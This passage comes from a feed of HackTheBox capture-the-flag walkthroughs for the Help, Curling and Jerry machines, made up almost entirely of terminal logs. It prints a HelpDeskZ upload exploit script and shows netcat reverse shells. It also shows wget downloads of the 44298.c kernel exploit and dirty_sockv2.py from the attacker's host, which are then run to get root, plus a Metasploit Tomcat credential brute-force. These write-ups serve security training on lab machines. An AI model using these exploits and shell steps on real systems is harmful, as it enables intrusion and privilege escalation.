<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 14.88 seconds<br>
root@kali:~# gobuster -w /usr/share/wordlists/dirb/common.txt -u 10.10.10.121 -t 50</p>
<h1 id="gobuster-v201-oj-reeves-thecolonial">=====================================================<br>
Gobuster v2.0.1 OJ Reeves (@TheColonial)</h1>
<h1 id="-timeout--10s">[+] Mode : dir<br>
[+] Url/Domain : http://10.10.10.121/<br>
[+] Threads : 50<br>
[+] Wordlist : /usr/share/wordlists/dirb/common.txt<br>
[+] Status codes : 200,204,301,302,307,403<br>
[+] Timeout : 10s</h1>
<h1 id="20190610-140410-starting-gobuster">2019/06/10 14:04:10 Starting gobuster</h1>
<h1 id="support-status-301">/.htpasswd (Status: 403)<br>
/.htaccess (Status: 403)<br>
/.hta (Status: 403)<br>
/index.html (Status: 200)<br>
/javascript (Status: 301)<br>
/server-status (Status: 403)<br>
/support (Status: 301)</h1>
<h1 id="20190610-140416-finished">2019/06/10 14:04:16 Finished</h1>
<p>root@kali:~# searchsploit helpdeskz</p>
<hr>
<p>Exploit Title | Path<br>
| (/usr/share/exploitdb/)</p>
<hr>
<p>HelpDeskZ 1.0.2 - Arbitrary File Upload | exploits/php/webapps/40300.py<br>
HelpDeskZ &lt; 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download | exploits/php/webapps/41200.py</p>
<hr>
<p>Shellcodes: No Result<br>
root@kali:~# searchsploit -m exploits/php/webapps/40300.py<br>
Exploit: HelpDeskZ 1.0.2 - Arbitrary File Upload<br>
URL: <a href="https://www.exploit-db.com/exploits/40300">https://www.exploit-db.com/exploits/40300</a><br>
Path: /usr/share/exploitdb/exploits/php/webapps/40300.py<br>
File Type: troff or preprocessor input, ASCII text, with CRLF line terminators</p>
<p>Copied to: /root/40300.py</p>
<p>import hashlib<br>
import time<br>
import sys<br>
import requests</p>
<p>print &lsquo;Helpdeskz v1.0.2 - Unauthenticated shell upload exploit&rsquo;</p>
<p>if len(sys.argv) &lt; 3:<br>
print &ldquo;Usage: {} [baseUrl] [nameOfUploadedFile]&quot;.format(sys.argv[0])<br>
sys.exit(1)</p>
<p>helpdeskzBaseUrl = sys.argv[1]<br>
fileName = sys.argv[2]</p>
<p>currentTime = int(time.time())</p>
<p>for x in range(0, 600):<br>
plaintext = fileName + str(currentTime - x)<br>
md5hash = hashlib.md5(plaintext).hexdigest()</p>
<p>url = helpdeskzBaseUrl+&rsquo;/uploads/tickets/&rsquo;+md5hash+&rsquo;.php&rsquo;<br>
response = requests.head(url)<br>
if response.status_code == 200:<br>
print &ldquo;found!&rdquo;<br>
print url<br>
sys.exit(0)</p>
<p>print &ldquo;Sorry, I did not find anything&rdquo;</p>
<p>root@kali:~# python 40300.py http://10.10.10.121/support/ php-reverse-shell.php<br>
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit<br>
found!<br>
http://10.10.10.121/support/uploads/tickets/551a9079298f06e43893d9d6392bc80e.php</p>
<p>root@kali:<del># cd Downloads/<br>
root@kali:</del>/Downloads# ls<br>
44298.c encrypt-pdf.py index.html irked.jpg pass.txt token token.pdf.enc<br>
root@kali:~/Downloads# python -m SimpleHTTPServer 80<br>
Serving HTTP on 0.0.0.0 port 80 &hellip;<br>
10.10.10.121 - - [10/Jun/2019 14:32:06] &ldquo;GET /44298.c HTTP/1.1&rdquo; 200 -</p>
<p>root@kali:~# nc -lnvp 1234<br>
listening on [any] 1234 &hellip;<br>
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.121] 57700<br>
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux<br>
05:22:33 up 2:15, 0 users, load average: 0.00, 0.00, 0.00<br>
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT<br>
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)<br>
/bin/sh: 0: can&rsquo;t access tty; job control turned off<br>
$ cd /home<br>
$ ls<br>
help<br>
$ cd help<br>
$ ls -alh<br>
total 76K<br>
drwxr-xr-x 7 help help 4.0K Jan 11 06:07 .<br>
drwxr-xr-x 3 root root 4.0K Nov 27 2018 ..<br>
-rw-rw-r&ndash; 1 help help 272 Jan 11 06:17 .bash_history<br>
-rw-r&ndash;r&ndash; 1 help help 220 Nov 27 2018 .bash_logout<br>
-rw-r&ndash;r&ndash; 1 root root 1 Nov 27 2018 .bash_profile<br>
-rw-r&ndash;r&ndash; 1 help help 3.7K Nov 27 2018 .bashrc<br>
drwx&mdash;&mdash; 2 help help 4.0K Nov 27 2018 .cache<br>
drwxr-xr-x 4 help help 4.0K Jun 10 03:07 .forever<br>
-rw&mdash;&mdash;- 1 help help 442 Nov 28 2018 .mysql_history<br>
drwxrwxr-x 2 help help 4.0K Nov 27 2018 .nano<br>
drwxrwxr-x 290 help help 12K Jan 11 05:53 .npm<br>
-rw-r&ndash;r&ndash; 1 help help 655 Nov 27 2018 .profile<br>
-rw-rw-r&ndash; 1 help help 66 Nov 28 2018 .selected_editor<br>
-rw-r&ndash;r&ndash; 1 help help 0 Nov 27 2018 .sudo_as_admin_successful<br>
-rw-rw-r&ndash; 1 help help 225 Dec 11 01:53 .wget-hsts<br>
drwxrwxrwx 6 root root 4.0K Jan 11 05:53 help<br>
-rw-rw-r&ndash; 1 help help 946 Nov 28 2018 npm-debug.log<br>
-rw-r&ndash;r&ndash; 1 root root 33 Nov 28 2018 user.txt<br>
$ cat user.txt<br>
bb8#########ZENSIERT#########6af<br>
$ uname -a<br>
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux<br>
$ cd /tmp<br>
$ wget http://10.10.14.27/44298.c<br>
&ndash;2019-06-10 05:32:37&ndash; http://10.10.14.27/44298.c<br>
Connecting to 10.10.14.27:80&hellip; connected.<br>
HTTP request sent, awaiting response&hellip; 200 OK<br>
Length: 6021 (5.9K) [text/plain]<br>
Saving to: &lsquo;44298.c&rsquo;</p>
<p>0K &hellip;.. 100% 535M=0s</p>
<p>2019-06-10 05:32:37 (535 MB/s) - &lsquo;44298.c&rsquo; saved [6021/6021]</p>
<p>$ gcc -o exploit 44298.c<br>
$ ./exploit<br>
whoami<br>
root<br>
cat /root/root.txt<br>
b7f#########ZENSIERT#########b98</p>
]]></content></item><item><title>HackTheBox - Irked</title><link>https://m10x.de/posts/2010/01/hackthebox-irked/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-irked/</guid><description>root@kali:~# nmap -sV -sC 10.10.10.150
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-31 14:47 CEST
Nmap scan report for 10.10.10.150
Host is up (0.026s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p>root@kali:~# nmap -sV -sC 10.10.10.150<br>
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2019-03-31 14:47 CEST<br>
Nmap scan report for 10.10.10.150<br>
Host is up (0.026s latency).<br>
Not shown: 998 closed ports<br>
PORT STATE SERVICE VERSION<br>
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)<br>
| ssh-hostkey:<br>
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)<br>
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)<br>
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)<br>
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))<br>
|_http-generator: Joomla! - Open Source Content Management<br>
|_http-server-header: Apache/2.4.29 (Ubuntu)<br>
|_http-title: Home<br>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</p>
<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds</p>
<p>root@kali:~# gobuster -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.150:80 -t 50</p>
<h1 id="gobuster-v201-oj-reeves-thecolonial">=====================================================<br>
Gobuster v2.0.1 OJ Reeves (@TheColonial)</h1>
<h1 id="-timeout--10s">[+] Mode : dir<br>
[+] Url/Domain : http://10.10.10.150:80/<br>
[+] Threads : 50<br>
[+] Wordlist : /usr/share/wordlists/dirb/common.txt<br>
[+] Status codes : 200,204,301,302,307,403<br>
[+] Timeout : 10s</h1>
<h1 id="20190331-144820-starting-gobuster">2019/03/31 14:48:20 Starting gobuster</h1>
<h1 id="tmp-status-301">/.hta (Status: 403)<br>
/.htaccess (Status: 403)<br>
/.htpasswd (Status: 403)<br>
/administrator (Status: 301)<br>
/bin (Status: 301)<br>
/cache (Status: 301)<br>
/components (Status: 301)<br>
/images (Status: 301)<br>
/includes (Status: 301)<br>
/index.php (Status: 200)<br>
/language (Status: 301)<br>
/layouts (Status: 301)<br>
/libraries (Status: 301)<br>
/media (Status: 301)<br>
/modules (Status: 301)<br>
/plugins (Status: 301)<br>
/server-status (Status: 403)<br>
/templates (Status: 301)<br>
/tmp (Status: 301)</h1>
<h1 id="20190331-144826-finished">2019/03/31 14:48:26 Finished</h1>
<p>root@kali:<del># echo &ldquo;Q3VybGluZzIwMTgh&rdquo; | base64 -d<br>
Curling2018!root@kali:</del># ifconfig tun0<br>
tun0: flags=4305&lt;UP,POINTOPOINT,RUNNING,NOARP,MULTICAST&gt; mtu 1500<br>
inet 10.10.13.2 netmask 255.255.252.0 destination 10.10.13.2<br>
inet6 dead:beef:2::1100 prefixlen 64 scopeid 0x0<!-- raw HTML omitted --><br>
inet6 fe80::585f:b579:1f65:38e7 prefixlen 64 scopeid 0x20<!-- raw HTML omitted --><br>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)<br>
RX packets 28411 bytes 7832677 (7.4 MiB)<br>
RX errors 0 dropped 0 overruns 0 frame 0<br>
TX packets 35723 bytes 3524631 (3.3 MiB)<br>
TX errors 0 dropped 297 overruns 0 carrier 0 collisions 0</p>
<p>root@kali:<del># clear<br>
root@kali:</del># nc -lnvp 1234<br>
listening on [any] 1234 &hellip;<br>
connect to [10.10.13.2] from (UNKNOWN) [10.10.10.150] 44812<br>
/bin/sh: 0: can&rsquo;t access tty; job control turned off<br>
$ python -c &lsquo;import pty; pty.spawn(&quot;/bin/bash&quot;)&rsquo;<br>
/bin/sh: 1: python: not found<br>
$ python3 -c &lsquo;import pty; pty.spawn(&quot;/bin/bash&quot;)&rsquo;</p>
<p>www-data@curling:/var/www/html/templates/protostar$ ^Z<br>
[1]+ Stopped nc -lnvp 1234<br>
root@kali:<del># stty raw -echo<br>
root@kali:</del># nc -lnvp 1234</p>
<p>&lt;tml/templates/protostar$ export TERM=xterm256-color<br>
www-data@curling:/var/www/html/templates/protostar$ cd /home<br>
www-data@curling:/home$ ls<br>
dirty_sock floris<br>
www-data@curling:/home$ cd floris<br>
www-data@curling:/home/floris$ ls -alh<br>
total 116K<br>
drwxr-xr-x 6 floris floris 4.0K Mar 31 13:16 .<br>
drwxr-xr-x 4 root root 4.0K Mar 31 13:12 ..<br>
lrwxrwxrwx 1 root root 9 May 22 2018 .bash_history -&gt; /dev/null<br>
-rw-r&ndash;r&ndash; 1 floris floris 220 Apr 4 2018 .bash_logout<br>
-rw-r&ndash;r&ndash; 1 floris floris 3.7K Apr 4 2018 .bashrc<br>
drwx&mdash;&mdash; 2 floris floris 4.0K May 22 2018 .cache<br>
drwx&mdash;&mdash; 3 floris floris 4.0K May 22 2018 .gnupg<br>
drwxrwxr-x 3 floris floris 4.0K May 22 2018 .local<br>
-rw-r&ndash;r&ndash; 1 floris floris 807 Apr 4 2018 .profile<br>
-rw&mdash;&mdash;- 1 floris floris 1.2K Mar 31 13:12 .viminfo<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:12 README.txt<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:16 README1.txt<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:16 README10.txt<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:16 README11.txt<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:16 README2.txt<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:16 README3.txt<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:16 README4.txt<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:16 README5.txt<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:16 README6.txt<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:16 README7.txt<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:16 README8.txt<br>
-rw-rw-r&ndash; 1 floris floris 52 Mar 31 13:16 README9.txt<br>
drwxr-x&mdash; 2 root floris 4.0K May 22 2018 admin-area<br>
-rw-rw-r&ndash; 1 floris floris 5.4K Mar 31 13:09 dirty_sockv1.py<br>
-rwxrwxr-x 1 floris floris 8.5K Mar 31 13:09 dirty_sockv2.py<br>
-rw-r&ndash;r&ndash; 1 floris floris 1.1K May 22 2018 password_backup<br>
-rw-r&mdash;&ndash; 1 floris floris 33 May 22 2018 user.txt</p>
<p>www-data@curling:/home/floris$ cat password_backup<br>
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&amp;SY&hellip;H..<br>
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 &hellip;.A&hellip;P)ava.:4<br>
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N&hellip;n.T.#.@%&hellip;<code>   00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......   00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..   00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4   00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..   00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..&lt;~.x   00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .&gt;...sVT.zH....1   00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.</code>F&hellip;s.&quot;<br>
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n&hellip;.7j:X.d.R.<br>
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./&hellip; &hellip;.)p..<br>
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;&hellip;..9&hellip;P.C<br>
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P&hellip;HB&hellip;.*..<br>
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.<br>
000000f0: 819b bb48 &hellip;H<br>
www-data@curling:/home/floris$ xxd -r &lt; password_backup &gt; password_backup2<br>
bash: password_backup2: Permission denied<br>
www-data@curling:/home/floris$ xxd -r &lt; password_backup | file -<br>
/dev/stdin: bzip2 compressed data, block size = 900k<br>
www-data@curling:/home/floris$ xxd -r &lt; password_backup | bzcat | file -<br>
/dev/stdin: gzip compressed data, was &ldquo;password&rdquo;, last modified: Tue May 22 19:16:20 2018, from Unix<br>
&lt;is$ xxd -r &lt; password_backup | bzcat | gunzip -c | file -<br>
/dev/stdin: bzip2 compressed data, block size = 900k<br>
&lt;d -r &lt; password_backup | bzcat | gunzip -c | bzcat | file -<br>
/dev/stdin: POSIX tar archive (GNU)<br>
&lt;assword_backup | bzcat | gunzip -c | bzcat | tar x0 | file -<br>
tar: Options &lsquo;-[0-7][lmh]&rsquo; not supported by <em>this</em> tar<br>
Try &rsquo;tar &ndash;help&rsquo; or &rsquo;tar &ndash;usage&rsquo; for more information.<br>
/dev/stdin: empty<br>
&lt;ackup | bzcat | gunzip -c | bzcat | tar xO | file -<br>
/dev/stdin: ASCII text<br>
&lt;ackup | bzcat | gunzip -c | bzcat | tar xO<br>
5d&lt;wdCbdZu)|hChXll</p>
<p>root@kali:~# ssh <a href="mailto:floris@10.10.10.150">floris@10.10.10.150</a> [456/456]<br>
<a href="mailto:floris@10.10.10.150">floris@10.10.10.150</a>&rsquo;s password:<br>
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64)</p>
<ul>
<li>Documentation: <a href="https://help.ubuntu.com">https://help.ubuntu.com</a></li>
<li>Management: <a href="https://landscape.canonical.com">https://landscape.canonical.com</a></li>
<li>Support: <a href="https://ubuntu.com/advantage">https://ubuntu.com/advantage</a></li>
</ul>
<p>System information as of Sun Mar 31 13:24:19 UTC 2019</p>
<p>System load: 0.0 Processes: 203<br>
Usage of /: 46.3% of 9.78GB Users logged in: 1<br>
Memory usage: 24% IP address for ens33: 10.10.10.150<br>
Swap usage: 0%</p>
<p>0 packages can be updated.<br>
0 updates are security updates.</p>
<p>Failed to connect to <a href="https://changelogs.ubuntu.com/meta-release-lts">https://changelogs.ubuntu.com/meta-release-lts</a>. Check your Internet connection or proxy settings</p>
<p>Last login: Sun Mar 31 13:11:06 2019 from 10.10.15.247<br>
floris@curling:~$ cat user.txt<br>
65d#########ZENSIERT#########30b</p>
<p>floris@curling:<del>/admin-area$ ls -alh<br>
total 28K<br>
drwxr-x&mdash; 2 root floris 4.0K May 22 2018 .<br>
drwxr-xr-x 6 floris floris 4.0K Mar 31 13:16 ..<br>
-rw-rw&mdash;- 1 root floris 25 Mar 31 13:29 input<br>
-rw-rw&mdash;- 1 root floris 14K Mar 31 13:29 report<br>
floris@curling:</del>/admin-area$ cat input<br>
url = &ldquo;http://127.0.0.1&rdquo;<br>
floris@curling:~/admin-area$ cat report</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>floris@curling:~/admin-area$ vim input</p>
<p>url = &ldquo;file:///root/root.txt&rdquo;</p>
<p>floris@curling:<del>/admin-area$ ls -alh<br>
total 16K<br>
drwxr-x&mdash; 2 root floris 4.0K May 22 2018 .<br>
drwxr-xr-x 6 floris floris 4.0K Mar 31 13:30 ..<br>
-rw-rw&mdash;- 1 root floris 25 Mar 31 13:31 input<br>
-rw-rw&mdash;- 1 root floris 33 Mar 31 13:31 report<br>
floris@curling:</del>/admin-area$ cat report<br>
82c198ab6fc5365fdc6da2ee5c26064a</p>
<p>floris@curling:~$ cd /tmp<br>
floris@curling:/tmp$ wget http://10.10.14.105:8000/dirty_sockv2.py<br>
&ndash;2019-04-01 08:34:22&ndash; http://10.10.14.105:8000/dirty_sockv2.py<br>
Connecting to 10.10.14.105:8000&hellip; connected.<br>
HTTP request sent, awaiting response&hellip; 200 OK<br>
Length: 8696 (8.5K) [text/plain]<br>
Saving to: &lsquo;dirty_sockv2.py&rsquo;</p>
<p>dirty_sockv2.py 100%[=====================================================================================================================&gt;] 8.49K &ndash;.-KB/s in 0s</p>
<p>2019-04-01 08:34:22 (46.3 MB/s) - &lsquo;dirty_sockv2.py&rsquo; saved [8696/8696]</p>
<p>floris@curling:/tmp$ python3 dirty_sockv2.py</p>
<hr>
<p>| \ | |<strong>/ | _/ [</strong> | | | |_/<br>
|<strong>/ | | \ | | ___ <em><strong>] |</strong>| |</em></strong> | _<br>
(version 2)</p>
<p>//=========[]==========================================\<br>
|| R&amp;D || initstring (@init_string) ||<br>
|| Source || <a href="https://github.com/initstring/dirty_sock">https://github.com/initstring/dirty_sock</a> ||<br>
|| Details || <a href="https://initblog.com/2019/dirty-sock">https://initblog.com/2019/dirty-sock</a> ||<br>
\=========[]==========================================//</p>
<p>[+] Slipped dirty sock on random socket file: /tmp/wvjupqdeyv;uid=0;<br>
[+] Binding to socket file&hellip;<br>
[+] Connecting to snapd API&hellip;<br>
[+] Deleting trojan snap (and sleeping 5 seconds)&hellip;<br>
[+] Installing the trojan snap (and sleeping 8 seconds)&hellip;<br>
[+] Deleting trojan snap (and sleeping 5 seconds)&hellip;</p>
<hr>
<p>Success! You can now <code>su</code> to the following account and use sudo:<br>
username: dirty_sock<br>
password: dirty_sock</p>
<hr>
<p>floris@curling:/tmp$ su dirty_sock<br>
Password:<br>
To run a command as administrator (user &ldquo;root&rdquo;), use &ldquo;sudo <!-- raw HTML omitted -->&rdquo;.<br>
See &ldquo;man sudo_root&rdquo; for details.</p>
<p>dirty_sock@curling:/tmp$ sudo su<br>
[sudo] password for dirty_sock:<br>
root@curling:/tmp# cat /root/root.txt<br>
82c#########ZENSIERT#########64a<br>
root@curling:/tmp#</p>
]]></content></item><item><title>HackTheBox - Jerry</title><link>https://m10x.de/posts/2010/01/hackthebox-jerry/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-jerry/</guid><description>Jerry wie ein kleiner Teil von Kotarak!
root@kali:~# nmap 10.10.10.95 -sV -sC
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-19 14:02 CET
Nmap scan report for 10.10.10.95
Host is up (0.028s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Service detection performed. Please report any incorrect results at https://nmap.</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p>Jerry wie ein kleiner Teil von Kotarak!</p>
<p>root@kali:~# nmap 10.10.10.95 -sV -sC<br>
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2018-11-19 14:02 CET<br>
Nmap scan report for 10.10.10.95<br>
Host is up (0.028s latency).<br>
Not shown: 999 filtered ports<br>
PORT STATE SERVICE VERSION<br>
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1<br>
|_http-favicon: Apache Tomcat<br>
|_http-open-proxy: Proxy might be redirecting requests<br>
|_http-server-header: Apache-Coyote/1.1<br>
|_http-title: Apache Tomcat/7.0.88</p>
<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds</p>
<p>root@kali:~# msfconsole</p>
<p>msf &gt; search tomcat</p>
<h1 id="matching-modules">Matching Modules</h1>
<p>Name Disclosure Date Rank Check Description</p>
<hr>
<p>auxiliary/admin/http/tomcat_administration normal Yes Tomcat Administration Tool Default Access<br>
auxiliary/admin/http/tomcat_utf8_traversal 2009-01-09 normal Yes Tomcat UTF-8 Directory Traversal Vulnerability<br>
auxiliary/admin/http/trendmicro_dlp_traversal 2009-01-09 normal Yes TrendMicro Data Loss Prevention 5.5 Directory Traversal<br>
auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-06 normal No Apache Commons FileUpload and Apache Tomcat DoS<br>
auxiliary/dos/http/apache_tomcat_transfer_encoding 2010-07-09 normal No Apache Tomcat Transfer-Encoding Information Disclosure and DoS<br>
auxiliary/dos/http/hashcollision_dos 2011-12-28 normal No Hashtable Collisions<br>
auxiliary/scanner/http/tomcat_enum normal Yes Apache Tomcat User Enumeration<br>
auxiliary/scanner/http/tomcat_mgr_login normal Yes Tomcat Application Manager Login Utility<br>
exploit/linux/http/cisco_prime_inf_rce 2018-10-04 excellent Yes Cisco Prime Infrastructure Unauthenticated Remote Code Execution<br>
exploit/multi/http/struts2_namespace_ognl 2018-08-22 excellent Yes Apache Struts 2 Namespace Redirect OGNL Injection<br>
exploit/multi/http/struts_code_exec_classloader 2014-03-06 manual No Apache Struts ClassLoader Manipulation Remote Code Execution<br>
exploit/multi/http/struts_dev_mode 2012-01-06 excellent Yes Apache Struts 2 Developer Mode OGNL Execution<br>
exploit/multi/http/tomcat_jsp_upload_bypass 2017-10-03 excellent Yes Tomcat RCE via JSP Upload Bypass<br>
exploit/multi/http/tomcat_mgr_deploy 2009-11-09 excellent Yes Apache Tomcat Manager Application Deployer Authenticated Code Execution<br>
exploit/multi/http/tomcat_mgr_upload 2009-11-09 excellent Yes Apache Tomcat Manager Authenticated Upload Code Execution<br>
exploit/multi/http/zenworks_configuration_management_upload 2015-04-07 excellent Yes Novell ZENworks Configuration Management Arbitrary File Upload<br>
post/multi/gather/tomcat_gather normal No Gather Tomcat Credentials<br>
post/windows/gather/enum_tomcat normal No Windows Gather Apache Tomcat Enumeration</p>
<p>msf &gt; use auxiliary/scanner/http/tomcat_mgr_login<br>
msf auxiliary(scanner/http/tomcat_mgr_login) &gt; options</p>
<p>Module options (auxiliary/scanner/http/tomcat_mgr_login):</p>
<p>Name Current Setting Required Description</p>
<hr>
<p>BLANK_PASSWORDS false no Try blank passwords for all users<br>
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5<br>
DB_ALL_CREDS false no Try each user/password couple stored in the current database<br>
DB_ALL_PASS false no Add all passwords in the current database to the list<br>
DB_ALL_USERS false no Add all users in the current database to the list<br>
PASSWORD no The HTTP password to specify for authentication<br>
PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line<br>
Proxies no A proxy chain of format type:host:port[,type:host:port][&hellip;]<br>
RHOSTS yes The target address range or CIDR identifier<br>
RPORT 8080 yes The target port (TCP)<br>
SSL false no Negotiate SSL/TLS for outgoing connections<br>
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host<br>
TARGETURI /manager/html yes URI for Manager login. Default is /manager/html<br>
THREADS 1 yes The number of concurrent threads<br>
USERNAME no The HTTP username to specify for authentication<br>
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line<br>
USER_AS_PASS false no Try the username as the password for all users<br>
USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line<br>
VERBOSE true yes Whether to print output for all attempts<br>
VHOST no HTTP server virtual host</p>
<p>msf auxiliary(scanner/http/tomcat_mgr_login) &gt; set rhosts 10.10.10.95<br>
rhosts =&gt; 10.10.10.95<br>
msf auxiliary(scanner/http/tomcat_mgr_login) &gt; exploit</p>
<p>-] 10.10.10.95:8080 - LOGIN FAILED: root:tomcat (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: root:s3cret (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: root:vagrant (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: tomcat:admin (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: tomcat:manager (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: tomcat:role1 (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: tomcat:root (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: tomcat:tomcat (Incorrect)<br>
[+] 10.10.10.95:8080 - Login Successful: tomcat:s3cret<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: both:admin (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: both:manager (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: both:role1 (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: both:root (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: both:tomcat (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: both:s3cret (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: both:vagrant (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: j2deployer:j2deployer (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: ovwebusr:OvW<em>busr1 (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: cxsdk:kdsxc (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: root:owaspbwa (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: ADMIN:ADMIN (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: xampp:xampp (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: QCC:QLogic66 (Incorrect)<br>
[-] 10.10.10.95:8080 - LOGIN FAILED: admin:vagrant (Incorrect)<br>
[</em>] Scanned 1 of 1 hosts (100% complete)<br>
[*] Auxiliary module execution completed</p>
